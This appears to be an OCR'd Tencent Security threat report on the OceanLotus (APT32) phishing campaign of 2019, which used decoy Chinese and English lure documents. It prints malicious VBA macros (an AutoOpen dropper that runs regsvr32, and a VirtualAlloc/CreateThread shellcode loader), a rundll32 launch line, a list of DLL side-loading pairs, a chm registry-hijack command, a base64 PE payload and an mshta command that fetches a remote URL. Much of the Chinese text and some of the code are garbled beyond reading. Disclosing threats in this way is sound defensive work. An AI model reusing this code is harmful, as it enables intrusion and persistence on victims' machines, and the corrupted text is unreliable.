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2.1 YR EIRTRME oevvvooeereeeeeereeesesereseene
2.2 B BIBT BRI e
23 HBHIT R B T e
2.4 =2~ € 115 ORI
25 SR EEIHIHIL e
2.6 T IE 1 T vvreeeseeeseeeeee et
27 BRREEEAEAIIEIE e
28 BEEEBIPIRIBIE e
S )R 0] 5097 1) R m——

1Lt IR - € = USSR
B, BEEIW vrenrenrenrecnecseessessesssessssesaees
AR - SRR
6.1 BT 222 0 T B ISR TN
8.2 O S eeeeerereeeeeeeseeeseseeeseeseseseseseseeseeesesesessess e eeseseseses e ee s eeseeeseeeees
8.3 MITRE ATTRCK: cvveeveeeeeeeeeeeeeeeeeeeseeeeesesseeseeeesseesseeseeeeeseesseesseeeeees
6.4 2% =SSN
6.5 SE AL 5 N [ DO
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—. B

"HREME" (N4 APT32, Oceanlotus) , #IAJ9RE#EIAT APT BiH4ELR, B 2012
FIFRLSE, —BEft P EXMEEURBE R TIE &6, AV ERE X FEARH T E
EoEEEAR) APT INHALR, EESEZ—.

B2 EHIEIMERPOSEE 2019 F EFFRMITEERAR 2019 FF5—FEK
Tasiks, MERSRMZE—EIIE, FHENEZARE P E AR ST
LEEER,

ZELNEERRZ RN 2, SEFEARGRIBUTIR ], B, Jhiiig, K8
E. REAWELIRSBSEZRRE WS, FERNENE, BXENERN BIFKZER
WEMENRMESCH, BEXEMNTERM. BURSHREEERSHITETNE.

HAMRNEI, ZBRAKEARIFERETRE, MEKENNSE., HiERR. BUFEHEE
FHAFERE, WNIE M REHR, M SERNMISESEZMAREEEER, tIMIa
FRARES. M. TIERS. RERES,

MARENFELE, ENE—FETUARAK, BREAE—L/NHNSGHE, BIEK
HFEIBFISE. payload INE. RIZLNEFESE., MAERNKESICEE, KAX
FA7 (ERBTFHMHEEERL T, M—ERNEI—SH S8 sIRE, SZRIENIMN
HTIHEFIERsERES. XEH SR T APT S EASE AR ML SHE

BATHSS, REWGERMFENE, RESEREER, b atlskilEizl.
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= WEE=

2.1 SIS BRFATERRTE

EECRIBRERS NIERIG T, B AR KRS BB SRS U T

fi. BN 20195, SN BRI TG, INTUEISEnR:

AREDT ERPUAL R AT EAE R - IGAIRE

as [0 [
Il B - Q-5 O fg- M-
S SH BR O ge B MREM AN 0 B 9% EAES
ZE8 R
AR TFEA R I BAIE R

B 0. I ®@126.com>
2019%F7H31H Ef= E510:41

«m mm
SRIEMER
- AREBTEULSET. .
» | 6.6 MB
DO 2WTH © LR
A R TIRIPIEARETA, LEEMERIIRS SR T,
HRIERREM .
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TLP: WHITE

Consultancy Agreement with SMW - GRS I H

Il AFRAB= - Q& OEF- M-

llcS EE =B ®R 7 Bap  HORERE A By 9% EERS
=5 U7 it Fed =

Consultancy Agreement with SMW

@ m E©126.com>
2019 1MA1MH B— TF12:34
Jul |

ERFEES

Consultancy Agree...

1.8 MB
QP EETH © £BME
A RTRIPIBHRRTA, LEERERRIERS B AR T, TRE

Dear Sir,
| would like to ask for your support related to Consultancy Agreement

1> Signing Consutancy Agreement
2> Type : passport number — Page 1, Residential address — Page 1 on the Consutancy Agreement
3> Signing resignation form ( in order to terminate the previous employment contract with SMW (before 15 Nov 2019)

After that, submit all singed docs to me so that | will send by post to SMW based in HK.
Should you have any concemns, please feel free to contact me

Thank you and best regards.

MEMEERBIKE , BB EREERRERIFE AL, AR MGE RS RIS, B EREE:
(B-XTHix 2019 FELEWSEZERENMHRRE) . (BRBTERNLRENE

FMEFT) . (KT 2019 THEEMIBLES RS ((FF) ) . (2019 FILHERS

1R 2(3BIUF)) . 2019 &F 5 BiRETHREIIREEN) F5,

SRFAE 2019 FH—FERIRSPIRRIEAHBAS TR IEEMT, FIEZEH

I F AR IR SR E FRZ B A EIE -
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TLP: WHITE

FEMFNBBEREFSRETHEEET - GHME

B
jﬂ [ﬁﬂ g?j MEs V. ;}S.G;j. E;ﬁ D%{v P]~
Wk =n %2 ®E B omp By HEEs AN %\‘?’J oE  EREE

FEEFNSEBERETSRLEFEZAER
Fve—pang. 4@126.com>

20 :
HiER

87

Li Jiahui Hot Image...
u -

4 MB

SWTH

n ATRIPOORRL, LS sEsRTR, THREA
WIS EER

IHAh, BFIEBMFRNI SIS ERTE, B 126 HRFETN 163 BiFE, WSHIHNA: B
FHE+HF @163 (126) .com, :
Sun*@126.com, yang**@126.com, chen**@126.com, zhao**@163.com,

reny**@163.com &,

2.2 BHAEBINZSHEFL

EECRRFTEREEREARS, RRASHERSER/ VTR R, BT HAES—
FERSEREMIBME. Ink, doc 3, WIinRAR ACE iR (CVE-2018-20250) AIE
BEFEES, ZRRIREPIEFIE T %9 word EWRRIRTHATSUE. chm X4,

B HUTSHEE
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Tencent Security

=

@OT" | v 2019GSEERETEMEIREEA » 201055 FRaeT NS EEEA
|m  EHF  HE  FEE

v ’ﬁszmﬁﬁﬁﬁﬁﬁﬁmﬁﬁﬁﬂ

. exe
8T Microsoft DOCX
]

Sl =it =

SE

=
= Bk
[

Chm i#E:

- [ 4 |[ t2= 20105552720

i
i

it

g~ O

jo| b« XT2019FHE.. » ¥£T2019 FEFEMTESNA RS (55) ~

B2EES - SR =

gk s FTF2019 SIS T Fern s
Fe E% AtET (755 ) .chm
— EES) HTML BB
=1 ]
BEINEiEE

OG\ L v 2019 T RS2 (E0R)

Hib - BEIES ~ RIS i

S s - 2019 T {HEHEN2(EMNE).exe
3 S EFS REKEY wizard
. P ? d Microsoft Corporation
W =m
= EERENEE

=
B s
= B8R

mpr.dll
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QD [ 1.+ Consultancy Agreement - C023-P - YCF (20190801) « 43| [ 2= consuttancy 4

B - BEFIER v SED FrEsoiE

i s Consultancy Agreement -
3 C023-P - YCF (20190801).doc.e... krpt.dll
B T WPS Writer
="

=l SmAE RS

T ZAHIERR office 3TAY:

b Facility Agreement dated 19 May 2019 (the Facility Agreement)
BEEES - HE - FEi=

Facility Agreement dated 19
May 2019 (the Facility Agreem...
Microsoft Office Word 97 - 20...

el =

G| 01T REETERIRRE » 201951 A RETER/IREE

SR - (R a5 B BTN i

V— ' L 2019F1 BIRETERSIERED |
N = | 786 7
W =E
SR =

8 WInRAR ACE (CVE-2018-20250) JRiEtIE4EE :

To|[=
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Tencent Security

TLP: WHITE
m Report - SIO.rar (FEfEHES) EI
HEHF) (0 TES) WEEO) HEIE(N)  #EEnH)
BODONS 90
f =N BEEE flpse =8 HEEs
© T B Report - SIO.rar - Eioh] ACE TS, %00 1,827,108 =5 -
=5 ’ Foh EERAN 2R FEHETIE CRC32
™ |Report file 01.docx 199 /69 169, 2019/2/27 19.. 282BDE...
@j Report file 02.docx 206,125 180,608 DOCX =i 2018/7/4 20:16 564B9468
@] Report file 03.docx 205,728 258,584 DOCY 3% 2018/8/9 18:57 30ESCAEA

G] .« Microsoft » Windows » [FH&] B2 » BF » 230 4| 2=z
B~  maER v HE~  FETE g
up— desktop.ini winword.exe

> - -

B =H

& SEhEE

2.3 HEMITHNSE
EFBEOSHL, BEMEIERESE, I RIONESRRRS RS,

1. EERTIRITXH

1. 2019FSHIRETARIIREED.
—| exe
— | Microsoft DOCX

Sz E, (h%e)3 word BRI AT, AR EIZ AL T Microsoft DOCX,
EWHIREIEE, FUTEEXHE, SRMEENE 2019 F 5 BimET30E)IRIE
EAl.docx, FEITF, ILZREELUNERIFAIFZ word 3, MHIFERISAE/IE

7 ==,

RIRLEERIA, BEEREERAMETHZABEEAS, ERSETERBHT:
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‘A R ranash
“

- swe

- & =o0E B e L R
el = T e 8 S8R e
P salr W B W se o a8
« 8 el ows 2oc WG
o L b TR - L R LA 2
E L R B

& & *Twalss oo PR PR
g @ Bwe oGy " ePrew 'S 9
8 e i ow® PR MEGEeE % o 3
% Sewes & Birgese g - "R T
ra @R e® P P PR F8
e P - PEee . QG O gase - 1@
® OsPns reo@uneg GPs =aFr 8
w8 e

e e e L I R E

s e g8 o “se¥ Sgas
iR Ceewe gl v e iPiPws
Y S9N S reagee o seesal e
& we -0 PPTEEE cBer * &
- e

L

B [

2. fEF rundli32 JNEEE diI
MEEBERITE, 27 C:\Users\Administrator\AppData\Local\Microsoft R
EIEREES4{1888B763-A56C-4D4B-895C-2092993ECCBA}.AII, #AIG{ER

rundll32 &H47iZ dil: "C:\Windows\system32\rundlI32.exe"
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"C:\Users\ADMINI~1\AppData\Local\Microsoft\{1888B763-A56C-4D4B-895C-2

092993ECCBA}.dII",Register

P
B

EREFEITESR, BRABREIRRENE:

[ GERD) ~| [GEe

Application Displayhlerts = False

Dim jorEclorthwVoRK As String
Dim £oiVPeXGCzmpas As String
Dim VoDpLyaRglhhitk As Byte

#Lf VBAT And WinB4 Then
Dim TpmepAMaGAZyudd As Long
Dim UVRIVEUalPkiur=G Az Leng
Dim pdwFlags As Long
Dim buhBAwgFAQgERYw Az LongPtr
Dim braSCHMndverslp As String
Dim 1pFathBytes() As Byte
Dim hFile As LongPtr

#Elsze
Dim JEiFTigjX=bMdul As Long
Dim zgZdMLcZeNFAFNH As Long
Dim lphddresz A= Long
Dim I¥%FANpeEVIuHSY As Long
Dim pdwFlags As Leng

#End If

#Tf VBAT And #inB4 Then
sEolVPeXGCznpas = RtuqiSpTYsWuR (hetiveDocument, Faragraphs. Count — 4)

4084224
5445632

TpmepiMaGAZyud] =
URTVBUalEldnr=6 =
buhBAnZPARERYw = nPObwyDTHCT2i¥H(0, TpmepMaGAZyudd, LLAehP+LEzzfEE0 Or FRVENIMKOAsIRE], FMwdBtcagrQMws:)
If (bulBAwzPAQgERIw = 0) Then

GoTo EXCrZjdGkErDelR
End If

YolpLyaRelhhi¥l = AQrEWonELRULALC (s£o¥¥FoXGCoxpas, URIVEVaUFkiursG, GOGuulUkaAVdhol®w, buhBhwgPARgERYw, TpmepAMaGAZyudd, O, pdwFlags)
If (WolpLysReIhhi¥k = 0) Then

GoTa EXCzZjdGkfrOcLR
End If

braSChMndverslp = Enviren("temp”) & "“Windows Update. exe”
1pPathBytes = braSCHMndverwlp & Chr (0)

HFile = Pt#TSeABEnloldH (YarPtr (LpPathBytes (0)), GENERIC WEITE, O, 0, CREATE_ALWAYS, 0, 0)
If (HFile = -1) Then

GoTo EXCzZ;dGkir0eLR
End If

VolpLyaRzThhi¥k = bIV;LLVhyQB-QNu (hFile, buhBAwzPAQeERYw, TpmepAMaGAZyudd, nunberOfBytesiritten, 0)
If (VoOpLyaRelbhilk = 0) Then
GoTo EXCrZjdGkErDelR
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Sub Autolpen ()
DIim xzohwlbege Az String
Dim dzujulftdeotqnfxkeztzgv As Integer
Dim zzzembyzipmdShierqql)l Az Byte
DIim tdjgzpgusddzsludr hs String
DIim egpzspddlwhitzulnepfvpwke As String
Dim mjzhfpll=lkdsr A= Object

Set mjzhfplfclkdr = Hothing
For Each jezwbsomwxmfrniZbutu In Actiwellocument. Shapes
If jezwbzouxminiZbutu Type = msoTextBox Then
Set mizhfpl?skdr = jerwbsouxmfniZbutn
End If
Hext jczwbsouxminiZbuin
If mjzhfpkf=kdr I= Hothing Then Exit Sub

egpzspddlvhi tzulnepfvpwke = “Hdoc-ad9bE12a-88b2-454c-958 F-ThbS£e95T1Te. ole”
xzohvlbeze = Environ$ ("TENE™)

bldefybxll xzohwlbege

xzohwlbeze = xzohwlbeze & egprspddlvhitzulnepfrvpwke

Eellim szgembygipmdShjerqq(1553407) As Byte
frupSzzg = mjzhfplfskdz. TextFrame TextRange Text g ng}\]ﬁ
xeribejbslafpesxuwvg szgembyzipmddhjergq, frupSzsg ’%’m

dzujulftdeotgnixkezrtggw = FreeFile
Open xzohvlbege For Binary bz #drujulftdeotqnixkeztzor * HEES
Fut #dzujulftdeotgnizkeztzqy, , szgembyzipmdShjergg =y
Close #drujulftdeotqnixkeztzgw fEEE

% "$doc-2d9bE12a-5Eb2-454c- 959 £-ThbS £e35T1Te. ole

e

tdjgpqusddzsludr = “regsvr3Z. exe
tdjzpqusddzsludr = tdjzpqusddzzludr & xzzohwlbeze
tdjgpqusddzsludr = tdjzpqusddzslodr & “°°°

Shell tdjgzpqusddzsludr TS regen 3R, exe ~$d‘oc—ad9b3123—88b2—454c—‘389f—Tb'beegBTlTe. ole
Application Buit SawveChanges:=wdloNotSaveChanges EE
End Sub

4. Office RTFEHITES shellcode

{FAREMRE, 1E office hHEIEAER shellcode, FERFHEIRLIENIT:

#Else
szPaylcadData32 = GetParagraphsData(ActiveDocument.Paragraphs.Count - 1)
dwMemSize2 = 923006
dwStringSize2 = 1238676
lphddress = VirtualRlloc(0, dwMemSize2, MEM COMMIT Or MEM RESERVE, PAGE EXECUTE READWRITE)
If (lpRddress = 0) Then
GoTc ENDSUB
End If
b_Is0k = Crypt3tringToBinaryl(szFayloadData32, dwStringSize2, CRYPI_SIRING BASE64, lpRddress, dwMemSizeZ, 0&, pdwFlags)
If (b_IsOk = 0) Then
GoTc ENDSUB
End If
hThread = CreateThread(0, 0, lpAddress, 0, 0, 0)
If (hThread = 0) Then
GoTc ENDSUB
End If
Call WaitForSingleCbject (hThread, 2000)
#End If

5. dil Uz (BINE)
{28 dil fUnn#L (DLL Side-Loading) SRR THA, BARIHMERIHRAIEM

FEAIT,
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B33 : 20195
=2 e
RIS rar

[ 43 : 2019

EEgEitTE
HEIER.EXE

DLLfun%:

|

wwlib.dll

HA R AEE I BE:

'_n;-h L [peerd =
— m@- Enter password to open file
b | CO\- OISR TAFHHRIFER. doox
W43 : 20195 !
2SS docx
B
E—
360se.exe
DLL{WANZE:
a =]
) —
k@ T
chrome_elf.dll Tct.jpg‘

iTunesHelper.exe AppVersions.dll
SGTool.exe Inetmib1.dll
Rar.exe |dvptask.ocx
GoogleUpdate.exe goopdate.dll

360se.exe chrome_elf.dll
Winword.exe wwlib.dll
rekeywiz.exe mpr.dll
wps.exe krpt.dll
wechat.exe WeChatWin.dll
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6\

B com FARMAT

B com HFR, BEER dILEMARFEEERRIT:

(R pper

A=

A00A3BCSE
a88a3BD8
A88A3BER
A88A3BF8
A88a3c a8
a88a3c18
a88a3c28
A88a3c3s
A88A3C48
888A3C58
A88a3CH8
A88A3CTE
a88a3cEs
a88A3C?8
a88a3cAs
A88a3CES
A88a3CCER
a88a3cDe
888A3CER

61
5C
65
73
7B
37
31
2D
46
6E
b
28
2F
3R
34
ih
5C
65
iTH

7. Chm REREIA

-
aa
a8
a8
a8
a8
a8
a8
a8
a8
a8
a8
a8
a8
a8
a8
a8
a8
a8
a8

m
53
5C
5C
38
2D
hy
30
45
70
65
52
76
5C
34
61
ug
5@
20

64
6F
43
43
43
38
39
38
36
i2
i2
45
65
55
5C
5C
65
i2
2F

28
66
6C
ue
45
37
2D
30
45
6F
33
u7
20
73
w1
ue
6C
6F
66

Chm #iTfE, SIRTHIT ActiveX (X3

68
74
61
53
n3
w1
u2
hy
45
63
32
SF
2F
65
70
6F
70
78
88

6B
77
73
49
35
31
31
35
7D
53
28
53
64
72
7a
63
A
79
6F

63
61
73
ny
38
2D
35
36
5C
65
2F
A
20
73
ny
61
61
2E
67

75
i2
65
5C
45
31
45
42
49
i2
ih
28
43
5C
61
iTH
6E
64
i2

add hkcu
YWSoftwar
eyClasse
SYCLSIDY
{BCECS8E
7-87a1-1
1D9-B15E
-A8aps6B
FEGEE }% 1
nprocier
ver3dz ft
REG_S2Z
fve fd G
hwlsersy
4uvAppla
ta‘local
“YHelpPan
eProxy.d
1 /fF.ogr

¥
—

HEAREN:

Windows 222=Z5

LT

B hectiveX §
m§ﬂ£

RT3« f5HE

.

[

AT RSP
R
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exePath = exePath + "\” -

process_architecture= WshProcEnv(“PROCESSOR_ARCHITECTURE”)

If process_architecture = “x86” Then
system_architecture= WshPrDcEnV( PROCESSOR_ARCHITEW6432”)

If system_architecture = “” Then
system_architecture = “x86"
exePath = exePath + “System32\msiexec. exe”
Else

exePath = exePath + “SysWOW64\msiexec. exe”

system_architecture = process_architecture
exePath = exePath + “SysWOW6d\msiexec. exe”
End If

dl1Path = WSHShell. Environment ("PROCESS™). Item(”APFDATA")

sOutput = dl1Path + “\bedsrv. d11”
If ofS0.FileExists(sOutput) Then

Else

data_base6d = “TVqQAAIL EAAAA//BAAL A AAQ. A A A A A A A AAE, AdfugdAt AnNTbgBTHORVGhp cyBrwemdnemt t IGNhbmbwdC[ |

1gFBhMB1+SvPX1FSi8T02QT AAT viEXov] eI TAFWLTF al dQxWEFHOAACD x ASFwI tFCTkwdAzHAAQWLwEQX] 3CCADHAAQSLwEQX] 3CCADN zN =Mz ) =] ZM zMZMZMZMlefxq/Z_] qoAAQZEEALAAAUTHSFAQAS =
QRAAAAAATMYBAOI tAzAA6T j+//+DxBhqAPSVALAARN zM zM =Nz =Nz zM =M 2 Wi /GDfhQ@cer /Nui TFAAA= 8O x0T UDwAAAN AGEAAAAADGBgBewd 2] Vi+xT110IVovxhdtQV4tOFIPSEHIEL
EADOBGQEAAF+Lx]1 ShXcIMAFGLImoAL 8TGBBAAGNWBAABfi 8ZeW1 3CDACD//4PhE AAAACLRhQTx 3k /3701 85X6ECAACLTQYF /3Rqg 3sUEHICi xuDfhQQci qLFusohf3160l +EIP4EHIOI wZ fxgAAl BZel
1U¥shcl 0RoP5/3c0Ueg SDwiAg8QE 1 TKshcB1MehvBgAAL OUT1UXsQI 11 8FCNTQvGR fwC BKQBAACTRO1 4NRsAEMOLRQi L feyLdei JReyL XQyF 23R g 34UEHI xiwTrL4t 18 IN+FBByCvB26GTOAACDxAR!
13ULg£7+//9/dz2LARAT xniW/3EQVu jRAAAANBAT xhvA99heXc I TATX2dQ+] cRCD+Ahyios JNBBmi QB zwDvG G BD32F 5 dwg gAaL ACARD obwMAAN zNzH zM Mz Wz M xVi+=Wi /GLTQxXi 3400,/ 1 SKYN+F A HF
x15dwzQAVYvsVv91CIvx6LcXAADHB1C /ABCL 1 5dweQAVT vsVvIlCTvx6 JwXAADHPmI /ABCLx15dweQaxwEOvwAQ6 ac KAADp ohc AAFWL TF al 8. cGNL BAEO RFwAAkUT AXQHVUhr CAAMWT vGX1 3CBABVI
£xDrbAt64Q]zDTsGe+kE JXTEi Qe fwQPunEDexHzD340g+k1 S¥Y1Z2,/WD41 /CIsE jVg 1 ABD /4P fHAwAAAHIVwekCetIDg /kI cirzpf8k1Ve1 ABCQI BebAwAlATPpBHINg+ADAR ] /TIVS TA4Q /v SNaCUAR
BCcARAwmABACTwAGHC cAET tEJAxeX80Q1kYDiEcDi 0GkDF 5fwd1 JATpGAGhHAdpGAchHAtEJAxeX80Q1kYDiEcDikTYCiEcCikTBiEcB1 00kDF5 fwd 2k JAAAAABY] BaDdA+FuwhtF 0gAAATvRe+F /weoHc
QF3CBABVi+xWi/Hoyf////ZFCAFOB1bouP///1nLx] bdwgQAVTvsg+wlbw3/dd jollxOAAF mFwHOP / 3U16 T5 cAABZhcB 05 snDagGiRFxQ jU3wx0XEPLRAEOhTDg ALK G ARCNRFBOx 0XwhL 8BAE01 1COAAL
23QUwdt16MdF /PT///8zwOhNF AAAwI WLT INODAF1DE91EGoA/SULBEFI////dRj/dRT owhsAAF1ZXcPNV1 al dCQQ1 OwkF I t8TAyLwYvRABY 7/nY10/2PemeDAAAPUL VBN gEQAXNHB 6 TpFwil AATHE g AAAS
1WzwABCNSGBfHAAQTDAAREQwABASHAAGNDAAEComyAB ALMAAQHDAAET +E juSTRI /ki0SOBI1E j+iLRITsiUSPTI4E jwCIRI /wi0SO9I1E j /SLRIT41USP+I1E jvyJRI/8 JASNAAAAAAPwA/ 1 /T TVollAAQ]
229/B412E11 /EEp174PhD30qi BHB6GQ] ODY sWiReNdg SNEwR ] dfOLyIPhA3QPi gal BOZHSKN3 JZsAAAMANF S Fird 2k TAAAAADTABZNzL 0QAARAK 9Ar 1 GLwov] g+EDdATKF ogXRkdJ df fBEATODY sWiReNc
ANdF zMO0ABChwCABET 1MwDPB1UXA1 0UY 1UXUL OUMiUXY 1 0UcilXciOUgiUXgg 2XkAIN] BACDZ ewhi WXk iW30ZKEAAAALT UXT JUKIZENAAAAA X OXBAQALATtFCTIFRItFEI1F90gbF ALAT ACARAAAI UK
CIvx0/d0Hei DAAAAGHRTAHOM/3cE1 87 0NQAAADSG OcE ] UYEX4vGX1 3CBABYA +xWi /HHBoC/ABDoUg AAAPZFCAF 0B1 boi /D///1nL x15 dweQAVTvsg 30TAFOL 2KQtV/91C0gmtv// jXeBV+haDQAMNVR]C
dBUIUATYDAHOOPWAGAwB OBz 1wB g AdQmD 2l TNXwy ARB FX JPAWSNDVTvs T 1F /FBoxL8ARG oA/ xVHsAAQhcBOF 2 j cviwAQ/3X8/ xVQsAMOhcBOBFI1CP /QycllVi+z/dd jow////1n/dQ j /FQCwABDNVL £/1
ARABAAAAT kUQooQyARCD fOwADANCAAAA /zX=TAEQ] zUosAAD /92l 211 d1 I XbdHT /NdxNARD/10v4iV3ki¥3giK3cg+BEi K30/ tyV20A/ xUksAAQDQAOB j+T ckf/N/ /Wi /BqAPSVILAAETLH/9b /NeBN:
BIXJdHullui SNAAASQGITF+FwAt] fgAdAH5010UIgThjc232dSiDPETNABAAdBIodNOAEO: D JwAlz 80EhcBODmaB /3UI /x¥0zQAQ28A11 1UI1 00NSHUOAACLRAYLY f25UAxOEG jAI AEQVov BHY OAACLE
UIZFCPT//1BW/xVksAMQW4tN/F8zzV70Ad3//BnDUINTULPoCi TAANxVi+yLVQyhOCABET t NCCNNDP £5I 9ALO0YkVOCABEF 3D6 Iwl AACFwHQI ahboqi UAAFNZBdAg ARACACF qF +23WwishcBOBWoHRCOpe
+gF1CIPT AnpAbddi OUNU4teTI1GY INSBAgPhcAAAABTF+LR]yDxwyDZAFBATH/ kAAHz s TmOAADA] 35k dQzHRmSDAAAABY Y AAACBOZAAANB1C c dGZIEAAADY ATESLQAAWHUT x0ZkhAAARO the TmT 2
/V0shRQ¥dvGRsNqOGhTCAEQBAKZ / /4L dQHR] xQvzAQg 2Y TADP /R41+F I 1+cGpDNGaThre A4ABmi Y at AQAAX0ZoCCcBE IOmuANAAAB qDeg THAAMWYN /AD/ dmj /FXiwABDHREz+// / /6D4AABQDO ol

< i

»

TR TF4RIBIBRYEIRRE, 1Z chm FTHERELES:
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] i
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%

#  RReE R AR NSRRI S R e € R R
WSV SRRASAT RIS 020038 D 1288 01085 = 1 288 2 35k 2 el IR
ECHADMAtIEREsRE 4 BEN RE SHPET  SEmaiiiEs
éa‘d%ﬁﬁﬁ?ﬁ WEM ﬁ?f%?ég’_#&%wtﬁéﬁ’rﬂ%ﬂii%D40§%m§ﬁ$&ﬁﬁ§§’r§%}§§?@r§% i
v EEISRREN S AR GRR €E W BEC O et EEEsRE
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WEL7HE . € DHE T /e 0 5F i‘“éﬁﬁ%%iﬁﬁﬁﬁﬁ%ﬁtﬁéﬁﬁ%E?ﬁ*ﬁﬁ’féﬁ@%ﬂ%ﬁ e el
SR SUTERRERE IR JRelE ORI BIlGEER B MomElzE
dpEinbai  dR-HE B SUZEMRERDE CHA DM 10Ibamehie
B RET 4TS o RIEE 4 1858 | TEUCIEANE SISiGuEnRE
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BENRE Eiﬁa\aﬁéﬁmﬁ ETAE  <IRETERG IECEIENEN B | WiREen 8
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@ BiRze
Tencent Security

TLP: WHITE

== ¥ |
@ Content x  +

C  ® x| C/Users/Administrator/Desktop/>F2019 Femin T Asthe A Ra0iET (55 ) SAT2019 FEsemT A ASMiEs (55 ) S4F2019FE.  *

NREBEFSNEAETFE (WaLIFR ) {5, MaLFAERAENBKIRIE20035125 108 E12HEHARETHIESH S HRERSINE MRS,
TIFEEREER. FAEIREDTSN408MAEMN , MERUNASHTES5TE. WBKESTSHRERSNSIRIRE ERAERMITIFAER. TIFERR
BERENARESHG, —HNMEMELFERAENAS LFIERES (TR "8RS ) BSEHA. ERRERBT AN ZEMEN , ARBRTREEXEE
EFEITR. MTESNSEZESAR) TIHEARISESECABORRIES | ERRSFTEENE. ESRSNEEETRT TEARE  BTULISEEE, Mis
T/EEEHAREFT TIDRSIN | iHESE122004F115230E25H. 2005F2H14HZE18H. 2005F4518HE200F 1200568140 E17H, Wi LEERMESETS
B SHFREMSNNBARNR  SRHESNHNESTENBITERREA T RERNEEN | 18\ REREFUESH SEMEN— POER | FRASHNEN
LHESNEBIENECRHERFNANSETFETENES, Al , BB RRURSRAETIFE , LMEH2005511 BIEEREFTIEREMSNE_NR
HUBFBSEER, EHARBINSSHSHREMSN (RUES) M (TaiRT) AMETEERE 7 288a | F588 7 TIFENRICeEIILIFA R, EhREbsh,
EERTIFE "7E2005F 2 AR MATAEREBEN. , FUSRIEHTEYN | MmNt | EEXRENEENTIFEY ; ESEESMaEEXIAHERR
&, SERR. BEEREFIIECREIUR ARTEFRNAXEFMES TNRERESEERIEEASLR. MaLEAERTESTET | LERSINEIXEREN
AEEESHSEH, BE  ERSVEXRENZLREETNRUKSFREXEEN. Rit , TIFENTFHARSE , Fra St B e e B SIS EIRIBE SIS
SWFEUREEINLISETE, T SHEEREYR—MAR | Wi TEE) AN RSME R EN S TEE : JI9C0FRN—MATEE , FI2004EB/MIEE
BIR10ZEESMAFRI 2R BRI, X—REAEEH LIFRRE 7 SXESFUNESR | (B i T BENIIRFIAR  SERS RN RE ORI IS EIE,
ERSMZONENEAEARRUR SIFISHNER. ENNLAENTEEY SFRENERNEERANER , EXESEEFERNS %R, Bt SEitSHR
ESICRE T EANE T RSN E TIEE NS, ERERNAFISARERERAD "SIRTAHIRE" 1058 , SANESMaEEEFRINRIEHT A
ERENEN. MaTFEERENTRmNE B IFENNSISMES, SN, EiinieE, BiNnE. fuSTrHE. X, TR BTSN iEs
FEFEXER RSN EEEAEE A AT T O, 8F  TFENEEEmsEEEXERTe IR HITE TERE VT TiEE. S83L
WiRE, STFFIENRFEEXEEENSN. TEENRENSRN ZHeER  aTEERHUTIEEY | MEEREE, MESIRETSRESSNIERS
EAILEEEAI RSN AEAERIEERN, AN, ), REEEFA R, RALEEYBETER, RES RIS HES SESMABIENES, XIIE
EVREE) , WTRSMEENERSE , SO FEEE TR, (FEsSH  MECELER THIES, BR , WSEH—5 , BSMaEmEmil ™R
ERSEREFHRNG (XHEHEENEESRSREEATAENE ) | FEEEMEANAKERRE , HIEENEENEER. RENESRRUREESENSERS
RERAEXNEE, BESERSENAESXNAREREREURHEE S BESHINES T e TIEHERE (ITantl) S13RONEK , BARIS ST TFERETHSR
EREEEANAREERE, TIFEEERDY 2ivhiE , THIEMEAT s XAEmE, TRAEREsIEn -, BE T AHBENIANE, | ) SEMSEIRENE
ERREEEANRE  SEES RSIRSRmNEI (Pl ) S8, RIRGSSERAAEE, SARE SEHER, SEsRa AN BESEMIRIEIRENSH
&R, XYARSRENEEEEERER  FERTUARSNBIESSNEANTIFTE ; ) SESNEREXNEE , QFERHE, NEZSf NS, X
FESESENEEEREX , ERESKRAEIEES TR | ) SEENEX, EHFIEDTETRERFRISEAMSNENEE , NS THERE 5. TFE
EFAREREE (RUSE) MEXSEEEHTEE ;| ) BENEENARAEEXTE , SSRETERNMIER. WA LEEEHXI USSR TR
HHG , BET SESMAEEAIARERSE  FEXEam )\ TESRS., TR TSRERENTHE , SESWEXSIIENE , BERSNFIEE. BRY
HHIFANER BEFES R, THERR  IENRANST—  EHESEREX . REBREEEERXR. 1, RERFEERTREIEFTFESE
MEBPERER. OEEA BESEMN, WOTEESNEITNNERSEN  SHEREARETERENNRSNRSIRME | WUREEIERISMER. B2
FERAXABESMARSHESRUEENE, FHSMIEEDT, T2 INSIEE B RENSRENEIR RSNEMESIRSTIRFZ NS hE, B
BN TSN , HEERTHIIEMER SRR BT T ARRA SR NMIRAFRITGHHEA T RERIPCRTA, MR 65—, RRNE. i
REPEIE Y AEFHEASHEN | eEILRETHERE A ISR EER DR EEREN]. B8 , BERZAXTNTERRIBRIMEEE. TRSEMERE
{FSHREIENRAIIZONERBEAREE, LHEENENERES E2HTREXE25SaEHNLEEEEEARE, EERZEEE, AFITH2SES
2. 25 SENDESIEMERERSE  BEREERAIEANSESR | SANTARETER. 1ERE. REtSEFIPNEMImS, —AEFaESEtERY
AFEEHREREURENR | SUARNINEE, SHREESUISEIIE NSRRI R — EREEXEE2 NSNS EZIRE. BERE— aIEER
. BRIRERETERENS SEASSRER NEFFES ARSI )DENSHE. #ENEE BRETAENERT HEER— Rt TSESNEEE XS AT
TERUERELETEFNECERENS SEHRESNEE, BE5E SEABAMRNE (gTLDs ) #—SHERFIER. # FRESEIENT SAREES -

8. ERITNESHITIFAMLIRE

a0 EmEAY chm BERITRE, SE%AppData%\Roaming T4 bedsrv.dll, 2875

B2 MonthlyMaintenance B9HEIESS

Bl IEmERTO 15/88



@ BiRze
Tencent Security

TLP: WHITE
(L) MonthlyMaintenance EiE(EHTE]) @
= |maE 2 26 |28 |EzEeEER
SIEEER | SIS TSI EAEE
3 =R
AR CAWindows\System32\msiexec.exe -¥ C\Users\Administrator\AppD...
Pl | i g !
| FEN.. || #80. || BO) |
wme | |

w17 C\Windows\System32\msiexec.exe -Y
C:\Users\Administrator\AppData\Roaming\bcdsrv.dll
bedsrv.dil AEIEAEEI.

9. Ink 8 mstha #1147

ZFENFEROTEZ RN (&R 2019 FE—FERHKE) -
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@ BRZe

Tencent Security

TLP: WHITE
o 2019FEE—=ETieARENE Bt
g | RESE wen |z [aeEs | vanrs

t 2019 F—EE T {EAEkiE

Biral: LRER
Birvm: Swstem3?

B+F (T2 C:'Windows'System32'mshta. exe http:/fap

24T E ©):
iER M X

TTAZE: | Bl -
FE D)

| IAEHEEE | (B || SHEo.. |

[ &= [ BdE || EAw

7 2019 E—SE TSRS - T5E [E=8(EcEE=T)
THE EEE S5(\V) BEH
T 2 F? . o 9 PRBL2L4R0R +007 /C:y V-
4 Windows @ 148 Windows Z1 4 SysWowed B 1 4B
. SySWOW64 T\Z mshtaExED J%ﬁ . m
